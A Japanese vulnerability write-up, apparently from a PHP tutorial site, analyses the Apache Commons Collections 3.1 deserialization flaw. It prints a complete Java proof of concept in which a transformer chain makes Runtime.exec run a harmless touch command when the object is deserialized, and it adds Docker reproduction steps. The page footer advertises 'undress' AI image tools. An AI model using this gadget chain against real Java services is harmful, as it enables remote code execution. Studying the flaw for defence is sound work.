Apache Commons Collections のデシリアライゼーションの脆弱性を分析して再現する方法
1.1 ステータス
脆弱性マイニング状況の分析と脆弱性の再現が完了しました。
1.2 脆弱性分析
セキュリティ上の欠陥があるバージョン: Apache Commons Collections 3.2.1 以下、[JDK バージョン: 1.7.0_80] Apache Maven 3.6.3。
POC コア コード:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
脆弱性悪用のアイデア:
Transformer インターフェイス実装クラス -InvokerTransformer()。任意の関数を呼び出すことができます。
Runtime.getRuntime().exec(cmd) を実装するには、transformer を複数回呼び出し、現在の戻り結果を次の入力情報として使用する必要があります。
Runtime.getRuntime() を呼び出すには、入力パラメーターを出力として直接使用できる ConstantTransformer クラスを検討してください。
ChainedTransformer 実装クラスとして、受け取った Transformer 配列に対して、独自の変換メソッド (パラメータはユーザーが入力) を使用して Transformer 配列オブジェクトを 1 つずつ処理し、その結果を入力として使用します次に繰り返される呼び出しのパラメータ。そのtransform()メソッドが脆弱性を引き起こす可能性があります。
逆シリアル化パス、つまりデータの読み取りが逆シリアル化されて実行されるパスを見つけるには、ChainedTransformer オブジェクトの .transform() メソッドを逆にトリガーできるパスを探します。
HashMap クラスはキーと値のペアの形式でデータを保存でき、put(key, value) メソッドはデータを保存できます。
TransformedMap クラスの機能は、キーと値のペアを保存し、それらを変換オブジェクトに変換することです。decorate() メソッドはキーと値のペアを作成でき、checkSetValue() メソッドは this.valueTransformer をトリガーします。 .transform() ステートメント。逆の順序で検索して checkSetValue() [1] を呼び出し、this.valueTransformer を ChainedTransformer オブジェクト [2] にします。
[2] の場合、TransformedMap クラスの静的メソッドdecorate() で目的を達成できます。
[1] の場合、AbstractInputCheckedMapDecorator クラス MapEntry 静的クラスの setValue メソッドは this.parent.checkSetValue(value) を実行し、this.parent を TransformedMap オブジェクトに設定する必要があります [ 3] 。
[3] については、POC でのこのコードの前向き分析:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
調査によると、実行プロセス中に、TransformedMap オブジェクトが AbstractInputCheckedMapDecorator クラスの this.parent に何度も割り当てられます。 Map.Entry オブジェクトは setValue() メソッドを実行するだけで脆弱性をトリガーできます。
汎用性を向上させるには、逆シリアル化メソッドを呼び出すときに脆弱性をトリガーする方法を見つける必要があります。そのため、「逆シリアル化 readObject() をオーバーライドして setValue() を実行する」の要件を満たすクラス オブジェクトを探すことを検討してください。 ) の Map クラス オブジェクト変数。同時に、この変数を制御し、キー値データを割り当てることができます。」 AnnotationInvocationHandler クラスは、この要件を満たします [Map タイプのメンバー変数の各エントリで setValue() を呼び出します]。
Class.forName() 関数はクラスをロードします。
[1] について、POC のコア コードの前方分析を再度分析します。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
調査によると、実行プロセスは MapEntry 静的クラスの setValue メソッドを実行し、 this.parent=TransformedMap オブジェクトとなるように、entrySet メソッドを実行すると、脆弱性が引き起こされます。
一般に、前向き POC 構築のアイデアは次のとおりです。まず ChainedTransformer オブジェクトを構築し、次に Map オブジェクトを作成し、次に TransformedMap クラス インスタンスを使用して ChainedTransformer オブジェクトを Map クラス オブジェクトに保存し、エクスペリエンスを取得します。リフレクション メソッド経由 Map クラス オブジェクトによって初期化され、シリアル化された AnnotationInvocationHandler クラスのインスタンス。
1.3 Docker の再現
生成された Docker イメージをダウンロードし、次のコマンドを使用します:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
LAN とコンテナ IP を設定し、コンテナを起動します。例:
(1) ネットワークのカスタマイズ
docker network create --subnet=192.168.10.1/24 testnet
(2) Docker コンテナの起動
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
コンテナ [Apache-Commons-Collections] で、コマンド [java -jar commons-collections] を実行します-3.1.jar ] を選択すると、以下に示すようにファイル [CommonsCollections3.1] が生成されます。
以上がApache Commons Collections のデシリアライゼーションの脆弱性を分析して再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









Java は、Collections クラスのfrequency() 関数を使用して、コレクション内の指定された要素の出現数を計算します。Java プログラミングにおいて、Collections クラスは、コレクションを操作するための多くの静的メソッドを含むユーティリティ クラスです。その 1 つは、コレクション内の指定された要素の出現数をカウントするfrequency() 関数です。この関数は非常にシンプルで使いやすく、Java 開発者に利便性と柔軟性を提供します。以下は使用方法を示すサンプルコードです

Java は、Collections クラスの binarySearch() 関数を使用して、順序付けられたコレクション内でバイナリ検索を実行します。バイナリ検索は、順序付けられたコレクション内の特定の要素を見つけるための効率的なアルゴリズムです。 Java では、Collections クラスの binarySearch() 関数を使用してバイナリ検索を実装できます。この記事では、binarySearch() 関数を使用して順序付きコレクション内を検索する方法を紹介し、具体的なコード例を示します。二分探索アルゴリズムの基本的な考え方

Java は、Collections クラスの shuffle() 関数を使用して、コレクション内の要素の順序を乱します。Java プログラミング言語において、Collections クラスは、コレクションを操作するためのさまざまな静的メソッドを提供するツール クラスです。その 1 つは shuffle() 関数で、コレクション内の要素の順序をシャッフルするために使用できます。この記事では、この関数の使用方法を示し、対応するコード例を示します。まず、java.util パッケージに Collections クラスをインポートする必要があります。

Java では、Collections クラスの sort() 関数を使用してコレクションを並べ替えます。Java では、コレクションを並べ替える必要があることがよくあります。 Collections クラスは、コレクションを簡単に並べ替えることができる sort() 関数を提供します。この記事では、Collections クラスの sort() 関数を使用してコレクションを並べ替える方法をコード例とともに紹介します。まず、Collections クラスを使用するために java.util パッケージをインポートする必要があります。インプ

Java では、Collections クラスの max() 関数を使用して、コレクション内の最大値を取得します。Java プログラミングでは、コレクションから最大値を取得する必要があることがよくあります。このプロセスを簡素化し、コードの読みやすさと効率を向上させるために、Java は Collections クラスの max() 関数を提供します。この関数は、セット内の最大値を簡単に見つけるのに役立ちます。この記事では、Collections クラスの max() 関数の使用方法と、対応するコード例を紹介します。コル

Python 2.x で高度なデータ構造操作にコレクション モジュールを使用する方法 はじめに: Python の標準ライブラリでは、コレクション モジュールはさまざまな操作を容易にするいくつかの高度なデータ構造を提供します。この記事では、主にコレクション モジュールによって提供されるいくつかのデータ構造を紹介し、関連するコード例を示します。 1. CounterCounter は、反復可能なオブジェクト内の各要素をカウントするために使用できる、シンプルで強力なカウンター ツールです。

1. はじめに このコンポーネントの逆シリアル化の脆弱性を分析した記事はインターネット上に多数ありますが、それでもここに記録しておきます。結局のところ、これは Java デシリアライゼーションの脆弱性の開発にとって重要です。 Apache Commons Collections は、Java アプリケーション開発で非常に一般的に使用されるツール ライブラリであり、多くの強力なデータ構造を追加し、Java アプリケーションの開発を簡素化し、Java がコレクション データを処理するための標準として認識されています。 Weblogic、WebSphere、Jboss、Jenkins などの多くの一般的なアプリケーションはすべて、Apache Commons Collections ツール ライブラリを使用します。ツール ライブラリにデシリアライゼーションの脆弱性が発生すると、

Laravel開発: LaravelCollectionsを使用してコレクションデータを操作する方法?コレクションは、Laravel 開発において非常に強力で実用的なツールです。開発者はLaravelCollectionsを使用して、コレクションデータを簡単に操作および処理できます。この記事では、LaravelCollectionsを使ってコレクションデータを操作する方法を紹介します。 1. コレクションとは何ですか?
